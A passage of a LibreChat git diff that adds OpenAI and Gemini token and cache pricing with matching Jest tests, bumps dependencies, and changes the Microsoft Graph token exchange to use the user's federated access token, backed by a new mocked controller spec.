     'gemini-pro-vision': { prompt: 0.5, completion: 1.5 },
     grok: { prompt: 2.0, completion: 10.0 }, // Base pattern defaults to grok-2
     'grok-beta': { prompt: 5.0, completion: 15.0 },
@@ -314,6 +308,29 @@ const cacheTokenValues = {
   'claude-opus-4': { write: 18.75, read: 1.5 },
   'claude-opus-4-5': { write: 6.25, read: 0.5 },
   'claude-opus-4-6': { write: 6.25, read: 0.5 },
+  // OpenAI models — cached input discount varies by family:
+  //   gpt-4o (incl. mini), o1 (incl. mini/preview): 50% off
+  //   gpt-4.1 (incl. mini/nano), o3 (incl. mini), o4-mini: 75% off
+  //   gpt-5.x (excl. pro variants): 90% off
+  //   gpt-5-pro, gpt-5.2-pro, gpt-5.4-pro: no caching
+  'gpt-4o': { write: 2.5, read: 1.25 },
+  'gpt-4o-mini': { write: 0.15, read: 0.075 },
+  'gpt-4.1': { write: 2, read: 0.5 },
+  'gpt-4.1-mini': { write: 0.4, read: 0.1 },
+  'gpt-4.1-nano': { write: 0.1, read: 0.025 },
+  'gpt-5': { write: 1.25, read: 0.125 },
+  'gpt-5.1': { write: 1.25, read: 0.125 },
+  'gpt-5.2': { write: 1.75, read: 0.175 },
+  'gpt-5.3': { write: 1.75, read: 0.175 },
+  'gpt-5.4': { write: 2.5, read: 0.25 },
+  'gpt-5-mini': { write: 0.25, read: 0.025 },
+  'gpt-5-nano': { write: 0.05, read: 0.005 },
+  o1: { write: 15, read: 7.5 },
+  'o1-mini': { write: 1.1, read: 0.55 },
+  'o1-preview': { write: 15, read: 7.5 },
+  o3: { write: 2, read: 0.5 },
+  'o3-mini': { write: 1.1, read: 0.275 },
+  'o4-mini': { write: 1.1, read: 0.275 },
   // DeepSeek models - cache hit: $0.028/1M, cache miss: $0.28/1M
   deepseek: { write: 0.28, read: 0.028 },
   'deepseek-chat': { write: 0.28, read: 0.028 },
@@ -330,6 +347,10 @@ const cacheTokenValues = {
   'kimi-k2-0711-preview': { write: 0.6, read: 0.15 },
   'kimi-k2-thinking': { write: 0.6, read: 0.15 },
   'kimi-k2-thinking-turbo': { write: 1.15, read: 0.15 },
+  // Gemini 3.1 Pro - cache write: $2.00/1M, cache read: $0.20/1M
+  'gemini-3.1': { write: 2, read: 0.2 },
+  // Gemini 3.1 Flash-Lite - cache write: $0.25/1M, cache read: $0.025/1M
+  'gemini-3.1-flash-lite': { write: 0.25, read: 0.025 },
 };
 
 /**
@@ -340,6 +361,7 @@ const cacheTokenValues = {
 const premiumTokenValues = {
   'claude-opus-4-6': { threshold: 200000, prompt: 10, completion: 37.5 },
   'claude-sonnet-4-6': { threshold: 200000, prompt: 6, completion: 22.5 },
+  'gemini-3.1': { threshold: 200000, prompt: 4, completion: 18 },
 };
 
 /**
diff --git a/api/models/tx.spec.js b/api/models/tx.spec.js
index df1bec8619..666cd0a3b8 100644
--- a/api/models/tx.spec.js
+++ b/api/models/tx.spec.js
@@ -52,6 +52,24 @@ describe('getValueKey', () => {
     expect(getValueKey('openai/gpt-5.2')).toBe('gpt-5.2');
   });
 
+  it('should return "gpt-5.3" for model name containing "gpt-5.3"', () => {
+    expect(getValueKey('gpt-5.3')).toBe('gpt-5.3');
+    expect(getValueKey('gpt-5.3-chat-latest')).toBe('gpt-5.3');
+    expect(getValueKey('gpt-5.3-codex')).toBe('gpt-5.3');
+    expect(getValueKey('openai/gpt-5.3')).toBe('gpt-5.3');
+  });
+
+  it('should return "gpt-5.4" for model name containing "gpt-5.4"', () => {
+    expect(getValueKey('gpt-5.4')).toBe('gpt-5.4');
+    expect(getValueKey('gpt-5.4-thinking')).toBe('gpt-5.4');
+    expect(getValueKey('openai/gpt-5.4')).toBe('gpt-5.4');
+  });
+
+  it('should return "gpt-5.4-pro" for model name containing "gpt-5.4-pro"', () => {
+    expect(getValueKey('gpt-5.4-pro')).toBe('gpt-5.4-pro');
+    expect(getValueKey('openai/gpt-5.4-pro')).toBe('gpt-5.4-pro');
+  });
+
   it('should return "gpt-3.5-turbo-1106" for model name containing "gpt-3.5-turbo-1106"', () => {
     expect(getValueKey('gpt-3.5-turbo-1106-some-other-info')).toBe('gpt-3.5-turbo-1106');
     expect(getValueKey('openai/gpt-3.5-turbo-1106')).toBe('gpt-3.5-turbo-1106');
@@ -138,6 +156,12 @@ describe('getValueKey', () => {
     expect(getValueKey('gpt-5-pro-preview')).toBe('gpt-5-pro');
   });
 
+  it('should return "gpt-5.2-pro" for model name containing "gpt-5.2-pro"', () => {
+    expect(getValueKey('gpt-5.2-pro')).toBe('gpt-5.2-pro');
+    expect(getValueKey('gpt-5.2-pro-2025-03-01')).toBe('gpt-5.2-pro');
+    expect(getValueKey('openai/gpt-5.2-pro')).toBe('gpt-5.2-pro');
+  });
+
   it('should return "gpt-4o" for model type of "gpt-4o"', () => {
     expect(getValueKey('gpt-4o-2024-08-06')).toBe('gpt-4o');
     expect(getValueKey('gpt-4o-2024-08-06-0718')).toBe('gpt-4o');
@@ -336,6 +360,18 @@ describe('getMultiplier', () => {
     );
   });
 
+  it('should return the correct multiplier for gpt-5.2-pro', () => {
+    expect(getMultiplier({ model: 'gpt-5.2-pro', tokenType: 'prompt' })).toBe(
+      tokenValues['gpt-5.2-pro'].prompt,
+    );
+    expect(getMultiplier({ model: 'gpt-5.2-pro', tokenType: 'completion' })).toBe(
+      tokenValues['gpt-5.2-pro'].completion,
+    );
+    expect(getMultiplier({ model: 'openai/gpt-5.2-pro', tokenType: 'prompt' })).toBe(
+      tokenValues['gpt-5.2-pro'].prompt,
+    );
+  });
+
   it('should return the correct multiplier for gpt-5.1', () => {
     expect(getMultiplier({ model: 'gpt-5.1', tokenType: 'prompt' })).toBe(
       tokenValues['gpt-5.1'].prompt,
@@ -360,6 +396,48 @@ describe('getMultiplier', () => {
     );
   });
 
+  it('should return the correct multiplier for gpt-5.3', () => {
+    expect(getMultiplier({ model: 'gpt-5.3', tokenType: 'prompt' })).toBe(
+      tokenValues['gpt-5.3'].prompt,
+    );
+    expect(getMultiplier({ model: 'gpt-5.3', tokenType: 'completion' })).toBe(
+      tokenValues['gpt-5.3'].completion,
+    );
+    expect(getMultiplier({ model: 'gpt-5.3-codex', tokenType: 'prompt' })).toBe(
+      tokenValues['gpt-5.3'].prompt,
+    );
+    expect(getMultiplier({ model: 'openai/gpt-5.3', tokenType: 'completion' })).toBe(
+      tokenValues['gpt-5.3'].completion,
+    );
+  });
+
+  it('should return the correct multiplier for gpt-5.4', () => {
+    expect(getMultiplier({ model: 'gpt-5.4', tokenType: 'prompt' })).toBe(
+      tokenValues['gpt-5.4'].prompt,
+    );
+    expect(getMultiplier({ model: 'gpt-5.4', tokenType: 'completion' })).toBe(
+      tokenValues['gpt-5.4'].completion,
+    );
+    expect(getMultiplier({ model: 'gpt-5.4-thinking', tokenType: 'prompt' })).toBe(
+      tokenValues['gpt-5.4'].prompt,
+    );
+    expect(getMultiplier({ model: 'openai/gpt-5.4', tokenType: 'completion' })).toBe(
+      tokenValues['gpt-5.4'].completion,
+    );
+  });
+
+  it('should return the correct multiplier for gpt-5.4-pro', () => {
+    expect(getMultiplier({ model: 'gpt-5.4-pro', tokenType: 'prompt' })).toBe(
+      tokenValues['gpt-5.4-pro'].prompt,
+    );
+    expect(getMultiplier({ model: 'gpt-5.4-pro', tokenType: 'completion' })).toBe(
+      tokenValues['gpt-5.4-pro'].completion,
+    );
+    expect(getMultiplier({ model: 'openai/gpt-5.4-pro', tokenType: 'prompt' })).toBe(
+      tokenValues['gpt-5.4-pro'].prompt,
+    );
+  });
+
   it('should return the correct multiplier for gpt-4o', () => {
     const valueKey = getValueKey('gpt-4o-2024-08-06');
     expect(getMultiplier({ valueKey, tokenType: 'prompt' })).toBe(tokenValues['gpt-4o'].prompt);
@@ -1326,6 +1404,73 @@ describe('getCacheMultiplier', () => {
     ).toBeNull();
   });
 
+  it('should return correct cache multipliers for OpenAI models', () => {
+    const openaiCacheModels = [
+      'gpt-4o',
+      'gpt-4o-mini',
+      'gpt-4.1',
+      'gpt-4.1-mini',
+      'gpt-4.1-nano',
+      'gpt-5',
+      'gpt-5.1',
+      'gpt-5.2',
+      'gpt-5.3',
+      'gpt-5.4',
+      'gpt-5-mini',
+      'gpt-5-nano',
+      'o1',
+      'o1-mini',
+      'o1-preview',
+      'o3',
+      'o3-mini',
+      'o4-mini',
+    ];
+
+    for (const model of openaiCacheModels) {
+      expect(getCacheMultiplier({ model, cacheType: 'write' })).toBe(cacheTokenValues[model].write);
+      expect(getCacheMultiplier({ model, cacheType: 'read' })).toBe(cacheTokenValues[model].read);
+    }
+  });
+
+  it('should return correct cache multipliers for OpenAI dated variants', () => {
+    expect(getCacheMultiplier({ model: 'gpt-4o-2024-08-06', cacheType: 'read' })).toBe(
+      cacheTokenValues['gpt-4o'].read,
+    );
+    expect(getCacheMultiplier({ model: 'gpt-4.1-2026-01-01', cacheType: 'read' })).toBe(
+      cacheTokenValues['gpt-4.1'].read,
+    );
+    expect(getCacheMultiplier({ model: 'gpt-5.3-codex', cacheType: 'read' })).toBe(
+      cacheTokenValues['gpt-5.3'].read,
+    );
+    expect(getCacheMultiplier({ model: 'openai/gpt-5.3', cacheType: 'write' })).toBe(
+      cacheTokenValues['gpt-5.3'].write,
+    );
+  });
+
+  it('should return null for pro models that do not support caching', () => {
+    expect(getCacheMultiplier({ model: 'gpt-5-pro', cacheType: 'read' })).toBeNull();
+    expect(getCacheMultiplier({ model: 'gpt-5-pro', cacheType: 'write' })).toBeNull();
+    expect(getCacheMultiplier({ model: 'gpt-5.2-pro', cacheType: 'read' })).toBeNull();
+    expect(getCacheMultiplier({ model: 'gpt-5.2-pro', cacheType: 'write' })).toBeNull();
+    expect(getCacheMultiplier({ model: 'gpt-5.4-pro', cacheType: 'read' })).toBeNull();
+    expect(getCacheMultiplier({ model: 'gpt-5.4-pro', cacheType: 'write' })).toBeNull();
+  });
+
+  it('should have consistent 10% cache read pricing for gpt-5.x models', () => {
+    const gpt5CacheModels = [
+      'gpt-5',
+      'gpt-5.1',
+      'gpt-5.2',
+      'gpt-5.3',
+      'gpt-5.4',
+      'gpt-5-mini',
+      'gpt-5-nano',
+    ];
+    for (const model of gpt5CacheModels) {
+      expect(cacheTokenValues[model].read).toBeCloseTo(cacheTokenValues[model].write * 0.1, 10);
+    }
+  });
+
   it('should handle models with "bedrock/" prefix', () => {
     expect(
       getCacheMultiplier({
@@ -1345,6 +1490,9 @@ describe('getCacheMultiplier', () => {
 describe('Google Model Tests', () => {
   const googleModels = [
     'gemini-3',
+    'gemini-3.1-pro-preview',
+    'gemini-3.1-pro-preview-customtools',
+    'gemini-3.1-flash-lite-preview',
     'gemini-2.5-pro',
     'gemini-2.5-flash',
     'gemini-2.5-flash-lite',
@@ -1389,6 +1537,9 @@ describe('Google Model Tests', () => {
   it('should map to the correct model keys', () => {
     const expected = {
       'gemini-3': 'gemini-3',
+      'gemini-3.1-pro-preview': 'gemini-3.1',
+      'gemini-3.1-pro-preview-customtools': 'gemini-3.1',
+      'gemini-3.1-flash-lite-preview': 'gemini-3.1-flash-lite',
       'gemini-2.5-pro': 'gemini-2.5-pro',
       'gemini-2.5-flash': 'gemini-2.5-flash',
       'gemini-2.5-flash-lite': 'gemini-2.5-flash-lite',
@@ -1432,6 +1583,190 @@ describe('Google Model Tests', () => {
       ).toBe(tokenValues[expected].completion);
     });
   });
+
+  it('should return correct prompt and completion rates for Gemini 3.1', () => {
+    expect(
+      getMultiplier({
+        model: 'gemini-3.1-pro-preview',
+        tokenType: 'prompt',
+        endpoint: EModelEndpoint.google,
+      }),
+    ).toBe(tokenValues['gemini-3.1'].prompt);
+    expect(
+      getMultiplier({
+        model: 'gemini-3.1-pro-preview',
+        tokenType: 'completion',
+        endpoint: EModelEndpoint.google,
+      }),
+    ).toBe(tokenValues['gemini-3.1'].completion);
+    expect(
+      getMultiplier({
+        model: 'gemini-3.1-pro-preview-customtools',
+        tokenType: 'prompt',
+        endpoint: EModelEndpoint.google,
+      }),
+    ).toBe(tokenValues['gemini-3.1'].prompt);
+    expect(
+      getMultiplier({
+        model: 'gemini-3.1-pro-preview-customtools',
+        tokenType: 'completion',
+        endpoint: EModelEndpoint.google,
+      }),
+    ).toBe(tokenValues['gemini-3.1'].completion);
+  });
+
+  it('should return correct cache rates for Gemini 3.1', () => {
+    ['gemini-3.1-pro-preview', 'gemini-3.1-pro-preview-customtools'].forEach((model) => {
+      expect(getCacheMultiplier({ model, cacheType: 'write' })).toBe(
+        cacheTokenValues['gemini-3.1'].write,
+      );
+      expect(getCacheMultiplier({ model, cacheType: 'read' })).toBe(
+        cacheTokenValues['gemini-3.1'].read,
+      );
+    });
+  });
+
+  it('should return correct rates for Gemini 3.1 Flash-Lite', () => {
+    const model = 'gemini-3.1-flash-lite-preview';
+    expect(getMultiplier({ model, tokenType: 'prompt', endpoint: EModelEndpoint.google })).toBe(
+      tokenValues['gemini-3.1-flash-lite'].prompt,
+    );
+    expect(getMultiplier({ model, tokenType: 'completion', endpoint: EModelEndpoint.google })).toBe(
+      tokenValues['gemini-3.1-flash-lite'].completion,
+    );
+    expect(getCacheMultiplier({ model, cacheType: 'write' })).toBe(
+      cacheTokenValues['gemini-3.1-flash-lite'].write,
+    );
+    expect(getCacheMultiplier({ model, cacheType: 'read' })).toBe(
+      cacheTokenValues['gemini-3.1-flash-lite'].read,
+    );
+  });
+});
+
+describe('Gemini 3.1 Premium Token Pricing', () => {
+  const premiumKey = 'gemini-3.1';
+  const premiumEntry = premiumTokenValues[premiumKey];
+  const { threshold } = premiumEntry;
+  const belowThreshold = threshold - 1;
+  const aboveThreshold = threshold + 1;
+  const wellAboveThreshold = threshold * 2;
+
+  it('should have premium pricing defined for gemini-3.1', () => {
+    expect(premiumEntry).toBeDefined();
+    expect(premiumEntry.threshold).toBeDefined();
+    expect(premiumEntry.prompt).toBeDefined();
+    expect(premiumEntry.completion).toBeDefined();
+    expect(premiumEntry.prompt).toBeGreaterThan(tokenValues[premiumKey].prompt);
+    expect(premiumEntry.completion).toBeGreaterThan(tokenValues[premiumKey].completion);
+  });
+
+  it('should return null from getPremiumRate when inputTokenCount is below or at threshold', () => {
+    expect(getPremiumRate(premiumKey, 'prompt', belowThreshold)).toBeNull();
+    expect(getPremiumRate(premiumKey, 'completion', belowThreshold)).toBeNull();
+    expect(getPremiumRate(premiumKey, 'prompt', threshold)).toBeNull();
+  });
+
+  it('should return premium rate from getPremiumRate when inputTokenCount exceeds threshold', () => {
+    expect(getPremiumRate(premiumKey, 'prompt', aboveThreshold)).toBe(premiumEntry.prompt);
+    expect(getPremiumRate(premiumKey, 'completion', aboveThreshold)).toBe(premiumEntry.completion);
+    expect(getPremiumRate(premiumKey, 'prompt', wellAboveThreshold)).toBe(premiumEntry.prompt);
+  });
+
+  it('should return null from getPremiumRate when inputTokenCount is undefined or null', () => {
+    expect(getPremiumRate(premiumKey, 'prompt', undefined)).toBeNull();
+    expect(getPremiumRate(premiumKey, 'prompt', null)).toBeNull();
+  });
+
+  it('should return standard rate from getMultiplier when inputTokenCount is below threshold', () => {
+    expect(
+      getMultiplier({
+        model: 'gemini-3.1-pro-preview',
+        tokenType: 'prompt',
+        inputTokenCount: belowThreshold,
+      }),
+    ).toBe(tokenValues[premiumKey].prompt);
+    expect(
+      getMultiplier({
+        model: 'gemini-3.1-pro-preview',
+        tokenType: 'completion',
+        inputTokenCount: belowThreshold,
+      }),
+    ).toBe(tokenValues[premiumKey].completion);
+  });
+
+  it('should return premium rate from getMultiplier when inputTokenCount exceeds threshold', () => {
+    expect(
+      getMultiplier({
+        model: 'gemini-3.1-pro-preview',
+        tokenType: 'prompt',
+        inputTokenCount: aboveThreshold,
+      }),
+    ).toBe(premiumEntry.prompt);
+    expect(
+      getMultiplier({
+        model: 'gemini-3.1-pro-preview',
+        tokenType: 'completion',
+        inputTokenCount: aboveThreshold,
+      }),
+    ).toBe(premiumEntry.completion);
+  });
+
+  it('should return standard rate from getMultiplier when inputTokenCount is exactly at threshold', () => {
+    expect(
+      getMultiplier({
+        model: 'gemini-3.1-pro-preview',
+        tokenType: 'prompt',
+        inputTokenCount: threshold,
+      }),
+    ).toBe(tokenValues[premiumKey].prompt);
+  });
+
+  it('should apply premium pricing to customtools variant above threshold', () => {
+    expect(
+      getMultiplier({
+        model: 'gemini-3.1-pro-preview-customtools',
+        tokenType: 'prompt',
+        inputTokenCount: aboveThreshold,
+      }),
+    ).toBe(premiumEntry.prompt);
+    expect(
+      getMultiplier({
+        model: 'gemini-3.1-pro-preview-customtools',
+        tokenType: 'completion',
+        inputTokenCount: aboveThreshold,
+      }),
+    ).toBe(premiumEntry.completion);
+  });
+
+  it('should use standard rate when inputTokenCount is not provided', () => {
+    expect(getMultiplier({ model: 'gemini-3.1-pro-preview', tokenType: 'prompt' })).toBe(
+      tokenValues[premiumKey].prompt,
+    );
+    expect(getMultiplier({ model: 'gemini-3.1-pro-preview', tokenType: 'completion' })).toBe(
+      tokenValues[premiumKey].completion,
+    );
+  });
+
+  it('should apply premium pricing through getMultiplier with valueKey path', () => {
+    const valueKey = getValueKey('gemini-3.1-pro-preview');
+    expect(valueKey).toBe(premiumKey);
+    expect(getMultiplier({ valueKey, tokenType: 'prompt', inputTokenCount: aboveThreshold })).toBe(
+      premiumEntry.prompt,
+    );
+    expect(
+      getMultiplier({ valueKey, tokenType: 'completion', inputTokenCount: aboveThreshold }),
+    ).toBe(premiumEntry.completion);
+  });
+
+  it('should apply standard pricing through getMultiplier with valueKey path when below threshold', () => {
+    const valueKey = getValueKey('gemini-3.1-pro-preview');
+    expect(getMultiplier({ valueKey, tokenType: 'prompt', inputTokenCount: belowThreshold })).toBe(
+      tokenValues[premiumKey].prompt,
+    );
+    expect(
+      getMultiplier({ valueKey, tokenType: 'completion', inputTokenCount: belowThreshold }),
+    ).toBe(tokenValues[premiumKey].completion);
+  });
 });
 
 describe('Grok Model Tests - Pricing', () => {
diff --git a/api/package.json b/api/package.json
index 1c40ddb337..0305446818 100644
--- a/api/package.json
+++ b/api/package.json
@@ -1,6 +1,6 @@
 {
   "name": "@librechat/backend",
-  "version": "v0.8.3-rc1",
+  "version": "v0.8.3",
   "description": "",
   "scripts": {
     "start": "echo 'please run this from the root directory'",
@@ -44,13 +44,14 @@
     "@google/genai": "^1.19.0",
     "@keyv/redis": "^4.3.3",
     "@langchain/core": "^0.3.80",
-    "@librechat/agents": "^3.1.50",
+    "@librechat/agents": "^3.1.55",
     "@librechat/api": "*",
     "@librechat/data-schemas": "*",
     "@microsoft/microsoft-graph-client": "^3.0.7",
-    "@modelcontextprotocol/sdk": "^1.26.0",
+    "@modelcontextprotocol/sdk": "^1.27.1",
     "@node-saml/passport-saml": "^5.1.0",
     "@smithy/node-http-handler": "^4.4.5",
+    "ai-tokenizer": "^1.0.6",
     "axios": "^1.13.5",
     "bcryptjs": "^2.4.3",
     "compression": "^1.8.1",
@@ -63,10 +64,10 @@
     "eventsource": "^3.0.2",
     "express": "^5.2.1",
     "express-mongo-sanitize": "^2.2.0",
-    "express-rate-limit": "^8.2.1",
+    "express-rate-limit": "^8.3.0",
     "express-session": "^1.18.2",
     "express-static-gzip": "^2.2.0",
-    "file-type": "^18.7.0",
+    "file-type": "^21.3.2",
     "firebase": "^11.0.2",
     "form-data": "^4.0.4",
     "handlebars": "^4.7.7",
@@ -80,13 +81,14 @@
     "klona": "^2.0.6",
     "librechat-data-provider": "*",
     "lodash": "^4.17.23",
+    "mammoth": "^1.11.0",
     "mathjs": "^15.1.0",
     "meilisearch": "^0.38.0",
     "memorystore": "^1.6.7",
     "mime": "^3.0.0",
     "module-alias": "^2.2.3",
     "mongoose": "^8.12.1",
-    "multer": "^2.0.2",
+    "multer": "^2.1.1",
     "nanoid": "^3.3.7",
     "node-fetch": "^2.7.0",
     "nodemailer": "^7.0.11",
@@ -102,14 +104,15 @@
     "passport-jwt": "^4.0.1",
     "passport-ldapauth": "^3.0.1",
     "passport-local": "^1.0.0",
+    "pdfjs-dist": "^5.4.624",
     "rate-limit-redis": "^4.2.0",
     "sharp": "^0.33.5",
-    "tiktoken": "^1.0.15",
     "traverse": "^0.6.7",
     "ua-parser-js": "^1.0.36",
-    "undici": "^7.18.2",
+    "undici": "^7.24.1",
     "winston": "^3.11.0",
     "winston-daily-rotate-file": "^5.0.0",
+    "xlsx": "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz",
     "zod": "^3.22.4"
   },
   "devDependencies": {
diff --git a/api/server/cleanup.js b/api/server/cleanup.js
index c482a2267e..364c02cd8a 100644
--- a/api/server/cleanup.js
+++ b/api/server/cleanup.js
@@ -35,7 +35,6 @@ const graphPropsToClean = [
   'tools',
   'signal',
   'config',
-  'agentContexts',
   'messages',
   'contentData',
   'stepKeyIds',
@@ -277,7 +276,16 @@ function disposeClient(client) {
 
     if (client.run) {
       if (client.run.Graph) {
-        client.run.Graph.resetValues();
+        if (typeof client.run.Graph.clearHeavyState === 'function') {
+          client.run.Graph.clearHeavyState();
+        } else {
+          client.run.Graph.resetValues();
+        }
+
+        if (client.run.Graph.agentContexts) {
+          client.run.Graph.agentContexts.clear();
+          client.run.Graph.agentContexts = null;
+        }
 
         graphPropsToClean.forEach((prop) => {
           if (client.run.Graph[prop] !== undefined) {
diff --git a/api/server/controllers/AuthController.js b/api/server/controllers/AuthController.js
index 588391b535..13d024cd03 100644
--- a/api/server/controllers/AuthController.js
+++ b/api/server/controllers/AuthController.js
@@ -18,7 +18,7 @@ const {
   findUser,
 } = require('~/models');
 const { getGraphApiToken } = require('~/server/services/GraphTokenService');
-const { getOpenIdConfig } = require('~/strategies');
+const { getOpenIdConfig, getOpenIdEmail } = require('~/strategies');
 
 const registrationController = async (req, res) => {
   try {
@@ -87,7 +87,7 @@ const refreshController = async (req, res) => {
       const claims = tokenset.claims();
       const { user, error, migration } = await findOpenIDUser({
         findUser,
-        email: claims.email,
+        email: getOpenIdEmail(claims),
         openidId: claims.sub,
         idOnTheSource: claims.oid,
         strategyName: 'refreshController',
@@ -196,15 +196,6 @@ const graphTokenController = async (req, res) => {
       });
     }
 
-    // Extract access token from Authorization header
-    const authHeader = req.headers.authorization;
-    if (!authHeader || !authHeader.startsWith('Bearer ')) {
-      return res.status(401).json({
-        message: 'Valid authorization token required',
-      });
-    }
-
-    // Get scopes from query parameters
     const scopes = req.query.scopes;
     if (!scopes) {
       return res.status(400).json({
@@ -212,7 +203,13 @@ const graphTokenController = async (req, res) => {
       });
     }
 
-    const accessToken = authHeader.substring(7); // Remove 'Bearer ' prefix
+    const accessToken = req.user.federatedTokens?.access_token;
+    if (!accessToken) {
+      return res.status(401).json({
+        message: 'No federated access token available for token exchange',
+      });
+    }
+
     const tokenResponse = await getGraphApiToken(req.user, accessToken, scopes);
 
     res.json(tokenResponse);
diff --git a/api/server/controllers/AuthController.spec.js b/api/server/controllers/AuthController.spec.js
new file mode 100644
index 0000000000..fef670baa8
--- /dev/null
+++ b/api/server/controllers/AuthController.spec.js
@@ -0,0 +1,302 @@
+jest.mock('@librechat/data-schemas', () => ({
+  logger: { error: jest.fn(), debug: jest.fn(), warn: jest.fn(), info: jest.fn() },
+}));
+jest.mock('~/server/services/GraphTokenService', () => ({
+  getGraphApiToken: jest.fn(),
+}));
+jest.mock('~/server/services/AuthService', () => ({
+  requestPasswordReset: jest.fn(),
+  setOpenIDAuthTokens: jest.fn(),
+  resetPassword: jest.fn(),
+  setAuthTokens: jest.fn(),
+  registerUser: jest.fn(),
+}));
+jest.mock('~/strategies', () => ({ getOpenIdConfig: jest.fn(), getOpenIdEmail: jest.fn() }));
+jest.mock('openid-client', () => ({ refreshTokenGrant: jest.fn() }));
+jest.mock('~/models', () => ({
+  deleteAllUserSessions: jest.fn(),
+  getUserById: jest.fn(),
+  findSession: jest.fn(),
+  updateUser: jest.fn(),
+  findUser: jest.fn(),
+}));
+jest.mock('@librechat/api', () => ({
+  isEnabled: jest.fn(),
+  findOpenIDUser: jest.fn(),
+}));
+
+const openIdClient = require('openid-client');
+const { isEnabled, findOpenIDUser } = require('@librechat/api');
+const { graphTokenController, refreshController } = require('./AuthController');
+const { getGraphApiToken } = require('~/server/services/GraphTokenService');
+const { setOpenIDAuthTokens } = require('~/server/services/AuthService');
+const { getOpenIdConfig, getOpenIdEmail } = require('~/strategies');
+const { updateUser } = require('~/models');
+
+describe('graphTokenController', () => {
+  let req, res;
+
+  beforeEach(() => {
+    jest.clearAllMocks();
+    isEnabled.mockReturnValue(true);
+
+    req = {
+      user: {
+        openidId: 'oid-123',
+        provider: 'openid',
+        federatedTokens: {
+          access_token: 'federated-access-token',
+          id_token: 'federated-id-token',
+        },
+      },
+      headers: { authorization: 'Bearer app-jwt-which-is-id-token' },
+      query: { scopes: 'https://graph.microsoft.com/.default' },
+    };
+
+    res = {
+      status: jest.fn().mockReturnThis(),
+      json: jest.fn(),
+    };
+
+    getGraphApiToken.mockResolvedValue({
+      access_token: 'graph-access-token',
+      token_type: 'Bearer',
+      expires_in: 3600,
+    });
+  });
+
+  it('should pass federatedTokens.access_token as OBO assertion, not the auth header bearer token', async () => {
+    await graphTokenController(req, res);
+
+    expect(getGraphApiToken).toHaveBeenCalledWith(
+      req.user,
+      'federated-access-token',
+      'https://graph.microsoft.com/.default',
+    );
+    expect(getGraphApiToken).not.toHaveBeenCalledWith(
+      expect.anything(),
+      'app-jwt-which-is-id-token',
+      expect.anything(),
+    );
+  });
+
+  it('should return the graph token response on success', async () => {
+    await graphTokenController(req, res);
+
+    expect(res.json).toHaveBeenCalledWith({
+      access_token: 'graph-access-token',
+      token_type: 'Bearer',
+      expires_in: 3600,
+    });
+  });
+
+  it('should return 403 when user is not authenticated via Entra ID', async () => {
+    req.user.provider = 'google';
+    req.user.openidId = undefined;
+
+    await graphTokenController(req, res);
+
+    expect(res.status).toHaveBeenCalledWith(403);
+    expect(getGraphApiToken).not.toHaveBeenCalled();
+  });
+
+  it('should return 403 when OPENID_REUSE_TOKENS is not enabled', async () => {
+    isEnabled.mockReturnValue(false);
+
+    await graphTokenController(req, res);
+
+    expect(res.status).toHaveBeenCalledWith(403);
+    expect(getGraphApiToken).not.toHaveBeenCalled();
+  });
+
+  it('should return 400 when scopes query param is missing', async () => {
+    req.query.scopes = undefined;
+
+    await graphTokenController(req, res);
+
+    expect(res.status).toHaveBeenCalledWith(400);
+    expect(getGraphApiToken).not.toHaveBeenCalled();
+  });
+
+  it('should return 401 when federatedTokens.access_token is missing', async () => {
+    req.user.federatedTokens = {};
+
+    await graphTokenController(req, res);
+
+    expect(res.status).toHaveBeenCalledWith(401);
+    expect(getGraphApiToken).not.toHaveBeenCalled();
+  });
+
+  it('should return 401 when federatedTokens is absent entirely', async () => {
+    req.user.federatedTokens = undefined;
+
+    await graphTokenController(req, res);
+
+    expect(res.status).toHaveBeenCalledWith(401);
+    expect(getGraphApiToken).not.toHaveBeenCalled();
+  });
+
+  it('should return 500 when getGraphApiToken throws', async () => {
+    getGraphApiToken.mockRejectedValue(new Error('OBO exchange failed'));
+
+    await graphTokenController(req, res);
+
+    expect(res.status).toHaveBeenCalledWith(500);
+    expect(res.json).toHaveBeenCalledWith({
+      message: 'Failed to obtain Microsoft Graph token',
+    });
+  });
+});
+
+describe('refreshController – OpenID path', () => {
+  const mockTokenset = {
+    claims: jest.fn(),
+    access_token: 'new-access',
+    id_token: 'new-id',
+    refresh_token: 'new-refresh',
+  };
+
+  const baseClaims = {
+    sub: 'oidc-sub-123',
+    oid: 'oid-456',
+    email: 'user@example.com',
+    exp: 9999999999,
+  };
+
+  let req, res;
+
+  beforeEach(() => {
+    jest.clearAllMocks();
+
+    isEnabled.mockReturnValue(true);
+    getOpenIdConfig.mockReturnValue({ some: 'config' });
+    openIdClient.refreshTokenGrant.mockResolvedValue(mockTokenset);
+    mockTokenset.claims.mockReturnValue(baseClaims);
+    getOpenIdEmail.mockReturnValue(baseClaims.email);
+    setOpenIDAuthTokens.mockReturnValue('new-app-token');
+    updateUser.mockResolvedValue({});
+
+    req = {
+      headers: { cookie: 'token_provider=openid; refreshToken=stored-refresh' },
+      session: {},
+    };
+
+    res = {
+      status: jest.fn().mockReturnThis(),
+      send: jest.fn().mockReturnThis(),
+      redirect: jest.fn(),
+    };
+  });
+
+  it('should call getOpenIdEmail with token claims and use result for findOpenIDUser', async () => {
+    const user = {
+      _id: 'user-db-id',
+      email: baseClaims.email,
+      openidId: baseClaims.sub,
+    };
+    findOpenIDUser.mockResolvedValue({ user, error: null, migration: false });
+
+    await refreshController(req, res);
+
+    expect(getOpenIdEmail).toHaveBeenCalledWith(baseClaims);
+    expect(findOpenIDUser).toHaveBeenCalledWith(
+      expect.objectContaining({ email: baseClaims.email }),
+    );
+    expect(res.status).toHaveBeenCalledWith(200);
+  });
+
+  it('should use OPENID_EMAIL_CLAIM-resolved value when claim is present in token', async () => {
+    const claimsWithUpn = { ...baseClaims, upn: 'user@corp.example.com' };
+    mockTokenset.claims.mockReturnValue(claimsWithUpn);
+    getOpenIdEmail.mockReturnValue('user@corp.example.com');
+
+    const user = {
+      _id: 'user-db-id',
+      email: 'user@corp.example.com',
+      openidId: baseClaims.sub,
+    };
+    findOpenIDUser.mockResolvedValue({ user, error: null, migration: false });
+
+    await refreshController(req, res);
+
+    expect(getOpenIdEmail).toHaveBeenCalledWith(claimsWithUpn);
+    expect(findOpenIDUser).toHaveBeenCalledWith(
+      expect.objectContaining({ email: 'user@corp.example.com' }),
+    );
+    expect(res.status).toHaveBeenCalledWith(200);
+  });
+
+  it('should fall back to claims.email when configured claim is absent from token claims', async () => {
+    getOpenIdEmail.mockReturnValue(baseClaims.email);
+
+    const user = {
+      _id: 'user-db-id',
+      email: baseClaims.email,
